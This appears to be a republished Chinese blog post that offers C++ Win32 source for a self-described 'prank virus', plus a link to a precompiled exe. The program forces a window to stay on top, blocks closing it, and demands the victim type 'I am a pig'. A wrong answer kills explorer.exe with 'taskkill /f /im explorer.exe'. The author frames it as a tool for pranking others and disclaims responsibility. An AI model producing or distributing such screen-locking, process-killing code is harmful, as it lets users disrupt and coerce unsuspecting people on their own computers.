[c++整人代码]逼人承认“我是猪” 「v2.0」

2023-10-10 21:30

本文主要是介绍[c++整人代码]逼人承认“我是猪” 「v2.0」,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

㊀程序介绍

这是本人原创的一个整人小病毒,唯一的杀伤力就是逼着你想坑的人承认他是猪。
本次更新:要求运行程序的人手动输入“我是猪”三个字

㊁程序截图

1 本程序的窗口会自动保持最前

在这里插入图片描述

2 无法关闭本窗口

在这里插入图片描述

代码展示:

#include <Windows.h>
#include <cstdio>#define BUTTON_ID  10011            /*按钮ID*/int chang, kuan;
HWND hwnd;   /*实例化一个句柄*/
char title[100] = "哈哈哈!!!你被耍了";
HDC         hdc ;
PAINTSTRUCT ps ;
RECT        rect;int print( char words[] )
{hdc = BeginPaint(hwnd, &ps);/* TODO: Add any drawing code here... */GetClientRect(hwnd, &rect);DrawText(hdc, words, strlen(words), &rect, DT_CENTER);EndPaint(hwnd, &ps);
} int ckzq()/*刷新窗口*/
{HWND hForeWnd = NULL; HWND hWnd= FindWindow(NULL, title); DWORD dwForeID; DWORD dwCurID; hForeWnd =  GetForegroundWindow(); dwCurID  =  GetCurrentThreadId(); dwForeID =  GetWindowThreadProcessId( hForeWnd, NULL ); AttachThreadInput  ( dwCurID, dwForeID, TRUE); ShowWindow         ( hWnd, SW_SHOWNORMAL ); SetWindowPos       ( hWnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE ); SetWindowPos       ( hWnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE ); SetForegroundWindow( hWnd ); AttachThreadInput  ( dwCurID, dwForeID, FALSE);
}int moddle( int x, int len )
{x = x/2;x = x-len;return x;
} int yndesktop;int desk()
{system ( "explorer.exe" );
}int kenren()
{int _exit = 0;MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);auto yn = MessageBox(NULL, "在那个框框中输入“我是猪 ”","想退出就乖乖听话", MB_ICONQUESTION|MB_OK);
} /* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wp,LPARAM lp)
{ static HWND btnWnd1;static bool flag=false;char szHello[]="哈哈哈!你被耍了";static HWND hBtn;static HWND hEdt;switch(message){case WM_CREATE:{btnWnd1 = CreateWindow(TEXT("BUTTON"),TEXT("X"),WS_VISIBLE|WS_CHILD, /*按钮属性    */ chang-50,kuan-600,  /*按钮位置    */ 25,25,             /*按钮大小    */ hwnd,			 /*窗口信息    */ (HMENU)BUTTON_ID,/*按钮子窗口ID*/0,0);hEdt   = CreateWindow(TEXT("EDIT"),                   /*创建输入框*/ TEXT("输入你的答案"),          /*输入框初始文字*/ WS_CHILD|WS_VISIBLE|WS_BORDER,/*输入框属性*/ moddle( chang, 100 ), moddle( kuan, 40 ),  					 /*输入框位置*/ 200, 40, 					/*输入框大小*/ hwnd, 					   /*窗口信息*/ NULL, NULL, NULL);		  /*占位指针*/ hBtn =  CreateWindow(TEXT("BUTTON"), TEXT("确定"), WS_CHILD|WS_VISIBLE, moddle( chang, 100 )+50, moddle( kuan, 40 )+50, 80, 20, hwnd, NULL, NULL, NULL);break; }case WM_PAINT:{print ( "哈哈哈!你被耍了" ); break; }case WM_COMMAND:              /*按钮消息WM_COMMAND来处理*/{int id = GetDlgCtrlID(hEdt);switch(id-wp){case 0:{char buf[256];GetDlgItemText(hwnd, id, buf, 255);if (strcmp( "我是猪", buf ) == 0) {system ( "cls" ); printf ( "结果:你已承认你是猪" );if ( yndesktop == 1 ) {MessageBox(NULL, "既然你都已经听话了,那我把桌面还给你","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);desk();MessageBox(NULL, "稍等一下,我马上就走","",MB_ICONEXCLAMATION|MB_OK);printf ( "%d", 1/0 );}MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);printf ( "%d", 1/0 );}else {system ( "taskkill /f /im explorer.exe" );yndesktop = 1;system ( "cls" ); MessageBox(NULL, "想退出就乖乖听话\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);return 0;}}break;}switch(LOWORD(wp))        /*wParam的低字节为点击的按钮的ID*/{                     case BUTTON_ID:{kenren();flag = !flag;break;}default:break;}break;}case WM_DESTROY:{PostQuitMessage(0);return 0;}default:break;}return DefWindowProc(hwnd,message,wp,lp);
}
/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
{//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/system ( "cls" );WNDCLASS wndcls;        /*实例化*/wndcls.cbClsExtra = 0; /*额外的类的附加字节数*/wndcls.cbWndExtra = 0;/*窗口额外的附加字节数*/wndcls.hbrBackground = (HBRUSH)GetStockObject( BLACK_BRUSH );  /*背景颜色,GetStockObject()函数的返回值是一个HGDIOBJ格式的,强制转换成HBRUSH格式的赋值*/wndcls.hCursor = LoadCursor(NULL, IDC_WAIT);  /*光标的类型        */wndcls.hIcon = LoadIcon(NULL, IDI_ERROR);    /*窗口图标          */wndcls.hInstance = hInstance;               /*应用程序的实例号  */wndcls.lpfnWndProc = WndProc;              /*窗口过程函数      */wndcls.lpszClassName = "你被耍了";        /*类名              */wndcls.lpszMenuName = NULL;              /*菜单名            */wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/ int x = GetSystemMetrics( SM_CXFULLSCREEN );int y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/  chang = x - 200;kuan  = y - 200;RegisterClass(&wndcls);   /*注册窗口类*/hwnd = CreateWindow("你被耍了",title,WS_CLIPCHILDREN|WS_CLIPSIBLINGS|WS_POPUP,/*窗口风格*/ 100,100,chang,kuan,NULL,NULL,hInstance,NULL); /*建立一个窗口*/ShowWindow(hwnd, SW_SHOWNORMAL);   /*显示窗口*/UpdateWindow(hwnd);  /*更新窗口*/MSG msg;   /*消息机制*/while (GetMessage(&msg, NULL, 0, 0))    /*消息循环*/{ckzq(); /*每传来一次消息, 就刷新窗口, 以保证窗口最前*/ TranslateMessage(&msg);   /*传来的消息翻译*/DispatchMessage(&msg);    }return msg.wParam;
}

㊃最后还有几个编译时要注意的地方:

1 编译设置

连接器选项 添加 -lgdi32
在这里插入图片描述
编译器选项 添加 -std=c++11在这里插入图片描述

㊄ 其他

1 我的编译教程不够详细,无法编译

作者为了满足有些想坑人的小白,直接准备好了已经编译了的exe文件。
1 快速下载
2 限速下载提取码:ucv6

2 更新

作者会持续更新,敬请期待

3 声明

请合理使用本文章中的代码,仅供学习使用,一切所造成后果本人概不负责。代码欢迎在不篡改的情况下自由传播。

今天,2021-02-19一看, 阅读量破千了 \color{red}\text{阅读量破千了} 阅读量破千了,感谢读者们的支持

这篇关于[c++整人代码]逼人承认“我是猪” 「v2.0」的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/183194

相关文章

HTML5实现的移动端购物车自动结算功能示例代码

《HTML5实现的移动端购物车自动结算功能示例代码》本文介绍HTML5实现移动端购物车自动结算,通过WebStorage、事件监听、DOM操作等技术,确保实时更新与数据同步,优化性能及无障碍性,提升用... 目录1. 移动端购物车自动结算概述2. 数据存储与状态保存机制2.1 浏览器端的数据存储方式2.1.

基于 HTML5 Canvas 实现图片旋转与下载功能(完整代码展示)

《基于HTML5Canvas实现图片旋转与下载功能(完整代码展示)》本文将深入剖析一段基于HTML5Canvas的代码,该代码实现了图片的旋转(90度和180度)以及旋转后图片的下载... 目录一、引言二、html 结构分析三、css 样式分析四、JavaScript 功能实现一、引言在 Web 开发中,

Python如何去除图片干扰代码示例

《Python如何去除图片干扰代码示例》图片降噪是一个广泛应用于图像处理的技术,可以提高图像质量和相关应用的效果,:本文主要介绍Python如何去除图片干扰的相关资料,文中通过代码介绍的非常详细,... 目录一、噪声去除1. 高斯噪声(像素值正态分布扰动)2. 椒盐噪声(随机黑白像素点)3. 复杂噪声(如伪

Java Spring ApplicationEvent 代码示例解析

《JavaSpringApplicationEvent代码示例解析》本文解析了Spring事件机制,涵盖核心概念(发布-订阅/观察者模式)、代码实现(事件定义、发布、监听)及高级应用(异步处理、... 目录一、Spring 事件机制核心概念1. 事件驱动架构模型2. 核心组件二、代码示例解析1. 事件定义

Windows下C++使用SQLitede的操作过程

《Windows下C++使用SQLitede的操作过程》本文介绍了Windows下C++使用SQLite的安装配置、CppSQLite库封装优势、核心功能(如数据库连接、事务管理)、跨平台支持及性能优... 目录Windows下C++使用SQLite1、安装2、代码示例CppSQLite:C++轻松操作SQ

C++中RAII资源获取即初始化

《C++中RAII资源获取即初始化》RAII通过构造/析构自动管理资源生命周期,确保安全释放,本文就来介绍一下C++中的RAII技术及其应用,具有一定的参考价值,感兴趣的可以了解一下... 目录一、核心原理与机制二、标准库中的RAII实现三、自定义RAII类设计原则四、常见应用场景1. 内存管理2. 文件操

C++中零拷贝的多种实现方式

《C++中零拷贝的多种实现方式》本文主要介绍了C++中零拷贝的实现示例,旨在在减少数据在内存中的不必要复制,从而提高程序性能、降低内存使用并减少CPU消耗,零拷贝技术通过多种方式实现,下面就来了解一下... 目录一、C++中零拷贝技术的核心概念二、std::string_view 简介三、std::stri

C++高效内存池实现减少动态分配开销的解决方案

《C++高效内存池实现减少动态分配开销的解决方案》C++动态内存分配存在系统调用开销、碎片化和锁竞争等性能问题,内存池通过预分配、分块管理和缓存复用解决这些问题,下面就来了解一下... 目录一、C++内存分配的性能挑战二、内存池技术的核心原理三、主流内存池实现:TCMalloc与Jemalloc1. TCM

Python实例题之pygame开发打飞机游戏实例代码

《Python实例题之pygame开发打飞机游戏实例代码》对于python的学习者,能够写出一个飞机大战的程序代码,是不是感觉到非常的开心,:本文主要介绍Python实例题之pygame开发打飞机... 目录题目pygame-aircraft-game使用 Pygame 开发的打飞机游戏脚本代码解释初始化部

C++ 函数 strftime 和时间格式示例详解

《C++函数strftime和时间格式示例详解》strftime是C/C++标准库中用于格式化日期和时间的函数,定义在ctime头文件中,它将tm结构体中的时间信息转换为指定格式的字符串,是处理... 目录C++ 函数 strftipythonme 详解一、函数原型二、功能描述三、格式字符串说明四、返回值五